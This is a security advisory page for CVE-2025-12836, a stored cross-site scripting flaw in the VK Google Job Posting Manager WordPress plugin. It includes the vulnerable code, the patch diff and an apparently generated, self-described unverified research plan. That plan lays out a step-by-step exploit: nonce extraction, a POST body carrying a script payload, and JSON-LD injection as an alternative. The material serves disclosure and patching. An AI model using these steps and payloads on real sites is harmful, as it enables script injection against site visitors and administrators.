CVE-2025-12836

VK Google Job Posting Manager <= 1.2.23 - Authenticated (Author+) Stored Cross-Site Scripting via Job Description Field

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.2.24
Patched in
11d
Time to patch

Description

The VK Google Job Posting Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Job Description field in versions up to, and including, 1.2.23 due to insufficient input sanitization and output escaping on user-supplied attributes. This makes it possible for authenticated attackers with author-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.2.23
PublishedJanuary 23, 2026
Last updatedFebruary 3, 2026

What Changed in the Fix

Changes introduced in v1.2.24

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps required to demonstrate a Stored Cross-Site Scripting (XSS) vulnerability in the **VK Google Job Posting Manager** plugin (<= 1.2.23). --- ### 1. Vulnerability Summary The plugin is vulnerable to Stored XSS via the `vkjp_description` custom field. This field i…

Show full research plan

This research plan outlines the steps required to demonstrate a Stored Cross-Site Scripting (XSS) vulnerability in the VK Google Job Posting Manager plugin (<= 1.2.23).


1. Vulnerability Summary

The plugin is vulnerable to Stored XSS via the vkjp_description custom field. This field is used to store the Job Description for Google Job Posting structured data and can also be rendered on the frontend using the plugin's Gutenberg block.

The vulnerability exists because:

  1. vgjpm_get_custom_fields() in functions-tags.php explicitly excludes vkjp_description from the list of keys to be sanitized via sanitize_text_field.
  2. The rendering function vgjpm_render_job_posting_info() (in blocks/vk-google-job-posting-manager-block.php) does not use wp_kses() or any escaping functions when outputting the vkjp_description value within a table cell.
  3. The field is specifically described in the UI as accepting HTML, leading developers to omit escaping.

2. Attack Vector Analysis

  • Vulnerable Endpoint: wp-admin/post.php (via standard post update or AJAX save_post hook).
  • Vulnerable Parameter: vkjp_description.
  • Authentication Requirement: Authenticated user with Author permissions or higher (capable of editing job-posts or standard posts where the plugin metabox is enabled).
  • Preconditions: The plugin must be active, and the Job Posting metabox must be enabled for the post type (enabled by default for the job-posts post type).

3. Code Flow

  1. Entry: An Author updates a post. The VK_Custom_Field_Builder::save_custom_fields (hooked to save_post) processes the $_POST data.
  2. Storage: The field vkjp_description is saved as post meta without sanitization because it is a textarea type in the custom-field-builder framework, and the plugin's configuration doesn't override this with a sanitize callback.
  3. Retrieval: vgjpm_get_custom_fields() (in functions-tags.php) fetches the meta.
    $sanitize_keys = array( 'vkjp_title', 'vkjp_name', ... ); // vkjp_description IS MISSING HERE
    foreach ( $sanitize_keys as $sanitize_key ) {
        if ( isset( $custom_fields[ $sanitize_key ] ) ) {
            $custom_fields[ $sanitize_key ] = sanitize_text_field( $custom_fields[ $sanitize_key ] );
        }
    }
    
  4. Sink: vgjpm_render_job_posting_info() (in blocks/vk-google-job-posting-manager-block.php) retrieves the field and echoes it directly:
    // Inferred logic based on plugin behavior and source snippets
    $html .= '<td>' . $custom_fields['vkjp_description'] . '</td></tr>';
    

4. Nonce Acquisition Strategy

The custom field builder requires a nonce named noncename__fields. This nonce is generated using wp_create_nonce( __FILE__ ) inside inc/custom-field-builder/package/custom-field-builder.php.

Strategy:

  1. Log in as an Author.
  2. Create a new job-posts entry using wp post create.
  3. Navigate to the edit page for that post: wp-admin/post.php?post={ID}&action=edit.
  4. Use browser_eval to extract the nonce value from the hidden input field:
    document.querySelector('input[name="noncename__fields"]').value
    

5. Test Data Setup

  1. Create Author User:
    wp user create attacker attacker@example.com --role=author --user_pass=password123
  2. Create Job Post:
    wp post create --post_type=job-posts --post_status=publish --post_title="XSS Test Job" --user=attacker
    (Capture the returned Post ID, e.g., 123)

6. Exploitation Strategy

  1. Login: Use browser_navigate to log in as the attacker user.
  2. Extract Nonce: Navigate to /wp-admin/post.php?post=123&action=edit and extract the noncename__fields nonce using browser_eval.
  3. Inject Payload: Use http_request to submit an editpost request containing the XSS payload.
    • URL: http://localhost:8080/wp-admin/post.php
    • Method: POST
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body:
      action=editpost
      &post_ID=123
      &noncename__fields={NONCE}
      &vkjp_title=Software Engineer
      &vkjp_description=</textarea><script>alert(document.domain)</script>
      &vkjp_name=Vektor Inc
      
  4. Create View Page: Create a new post/page and insert the VK Job Posting block.
    • wp post create --post_type=page --post_status=publish --post_content='<!-- wp:vk-google-job-posting-manager/create-table {"post_id":123} /-->' --post_title="View Job"
  5. Trigger XSS: Navigate to the "View Job" page as any user (e.g., Administrator) and check if the alert fires.

7. Expected Results

  • The http_request should return a 302 redirect to the post edit screen, indicating the custom fields were updated.
  • When viewing the page containing the block, the HTML source should contain the raw, unescaped script tag:
    <td></textarea><script>alert(document.domain)</script></td>
  • The browser will execute the script, showing an alert box.

8. Verification Steps

  1. Check Meta: Verify the payload is stored in the database.
    wp post meta get 123 vkjp_description
  2. Verify Rendering: Use http_request (GET) to fetch the "View Job" page and check for the presence of the payload in the response body.
    grep "<script>alert(document.domain)</script>"
    

9. Alternative Approaches

  • JSON-LD Injection: The plugin also generates JSON-LD in the <head> for job postings. The vkjp_description might also be reflected there inside a script tag of type application/ld+json. If it breaks out of the JSON structure, it's a second XSS vector.
    • Check page source at: http://localhost:8080/?post_type=job-posts&p=123
    • Look for <script type="application/ld+json">.
  • Style Attribute Injection: If vkjp_description is sanitized for tags but not for attributes, one could try attribute-based XSS if the field is rendered in an attribute (unlikely for a description field, but worth checking).
Research Findings
Static analysis — not yet PoC-verified

Summary

The VK Google Job Posting Manager plugin is vulnerable to Stored Cross-Site Scripting (XSS) via the Job Description field. Authenticated attackers with Author-level permissions or higher can inject arbitrary scripts into the 'vkjp_description' field, which are then rendered without sanitization or escaping in the plugin's Job Posting Gutenberg block.

Vulnerable Code

// functions-tags.php lines 83-100
	// Sanitize text-based fields for consistency.
	$sanitize_keys = array(
		'vkjp_title',
		'vkjp_name',
		'vkjp_identifier',
		'vkjp_sameAs',
		'vkjp_logo',
		'vkjp_streetAddress',
		'vkjp_addressLocality',
		'vkjp_addressRegion',
		'vkjp_postalCode',
		'vkjp_addressCountry',
		'vkjp_jobLocationType',
		'vkjp_applicantLocationRequirements_name',
		'vkjp_currency',
		'vkjp_unitText',
		'vkjp_employmentType',
	);

	foreach ( $sanitize_keys as $sanitize_key ) {
		if ( isset( $custom_fields[ $sanitize_key ] ) && is_string( $custom_fields[ $sanitize_key ] ) ) {
			$custom_fields[ $sanitize_key ] = sanitize_text_field( $custom_fields[ $sanitize_key ] );
		}
	}

--- 

// inc/custom-field-builder/package/custom-field-builder.php lines 72-84
		public static function form_post_value( $post_field = '', $type = false ) {
			$value = '';
			global $post;
			$value = esc_attr( get_post_meta( $post->ID, $post_field, true ) );
			if ( isset( $_POST[ $post_field ] ) && $_POST[ $post_field ] ) {
				if ( isset( $type ) && $type == 'textarea' ) {
					// n2brはフォームにbrがそのまま入ってしまうので入れない
					$value = esc_textarea( $_POST[ $post_field ] );
				} else {
					$value = esc_attr( $_POST[ $post_field ] );
				}
			}
			return $value;
		}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/vk-google-job-posting-manager/1.2.23/functions-tags.php /home/deploy/wp-safety.org/data/plugin-versions/vk-google-job-posting-manager/1.2.24/functions-tags.php
--- /home/deploy/wp-safety.org/data/plugin-versions/vk-google-job-posting-manager/1.2.23/functions-tags.php	2025-12-12 02:14:44.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/vk-google-job-posting-manager/1.2.24/functions-tags.php	2026-01-29 07:04:28.000000000 +0000
@@ -72,12 +72,21 @@
 			$value = '';
 			global $post;
 			$value = esc_attr( get_post_meta( $post->ID, $post_field, true ) );
-			if ( isset( $_POST[ $post_field ] ) && $_POST[ $post_field ] ) {
+			$posted_value = null;
+			// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Value is sanitized below.
+			if ( isset( $_POST[ $post_field ] ) ) {
+				$posted_value = wp_unslash( $_POST[ $post_field ] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Sanitized below.
+			}
+			if ( isset( $_POST['noncename__fields'] ) && null !== $posted_value ) {
+				$noncename__fields = sanitize_text_field( wp_unslash( $_POST['noncename__fields'] ) );
+				if ( ! wp_verify_nonce( $noncename__fields, wp_create_nonce( __FILE__ ) ) ) {
+					return $value;
+				}
 				if ( isset( $type ) && $type == 'textarea' ) {
 					// n2brはフォームにbrがそのまま入ってしまうので入れない
-					$value = esc_textarea( $_POST[ $post_field ] );
+					$value = wp_kses_post( $posted_value );
 				} else {
-					$value = esc_attr( $_POST[ $post_field ] );
+					$value = esc_attr( $posted_value );
 				}
 			}
 			return $value;

Exploit Outline

1. Authenticate as a user with at least Author permissions. 2. Create or edit a 'job-posts' post type entry. 3. Identify the 'vkjp_description' (Job Description) custom field within the plugin's metabox. 4. Inject a Stored XSS payload (e.g., `</textarea><script>alert(document.domain)</script>`) into the field. 5. Save the post. The payload is stored in post meta without proper sanitization. 6. Create a separate public-facing page or post and insert the 'VK Job Posting Table' block (`vk-google-job-posting-manager/create-table`) referencing the modified job post ID. 7. Navigate to the frontend page as any user. The plugin retrieves the malicious meta value and outputs it directly into the page source within a table cell, triggering the script execution.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.